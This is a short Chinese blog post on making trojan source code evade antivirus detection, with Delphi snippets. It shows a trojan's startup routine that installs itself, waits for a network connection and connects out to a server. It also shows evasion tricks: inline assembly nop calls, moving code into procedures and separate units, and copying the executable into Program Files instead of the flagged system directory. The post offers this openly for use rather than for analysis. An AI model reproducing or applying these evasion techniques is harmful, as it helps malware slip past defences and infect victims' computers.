木马源代码免杀处理

最新推荐文章于 2024-04-15 10:53:19 发布

p123456789p

最新推荐文章于 2024-04-15 10:53:19 发布

阅读量1.5k

点赞数

分类专栏：优化文章标签：汇编 string c

优化专栏收录该内容

1 篇文章 0 订阅

订阅专栏

木马源代码免杀处理

------------------------------------------
有加这样免杀的：
------------------------------------------
begin
asm //直接用汇编调用代码进行免杀处理源代码
call test
end;

Procedure test;
asm
nop
nop
nop
end;
------------------------------------------
我喜欢这样：
------------------------------------------
1，结尾处运行，如

begin
ReadSettings;
Install;

Serv := TServer.Create;
While Not (InternetGetConnectedState(NIL, 0)) Do Sleep(5000);
Serv.Connect;
end.
------------------------------------------
你可
Procedure Main;
ReadSettings;
Install;

Serv := TServer.Create;
While Not (InternetGetConnectedState(NIL, 0)) Do Sleep(5000);
Serv.Connect;
end;
------------------------------------------
直接调用相当于od里看到的call
begin
Main;
end.
------------------------------------------
2、加单元，把一些函数搬到那个单元来，哈哈，结构变了，功能没变，一定免杀
------------------------------------------
3、复到系统目录被杀，那就改到复到C:/Program Files

function GetWinDir():String; //得到系统目录
var ResultDir:Array[1..64] of char;
i:integer;
begin
for i:=1 to 64 do resultDir:=char($20);
GetEnvironmentVariable('windir',@resultDir,64);
Result:=resultDir;
end;
------------------------------------------
var
myn ,myn2:String;
myn:=ExtractFilename(ParamStr(0));
myn2:=COPY(trim(GetWindir),1,2)+'/Program Files/'+myn; //复制一份到Program Files
if not FileExists(myn2) then
begin
copyfile(pchar(ParamStr(0)), pchar(myn2), true);
end;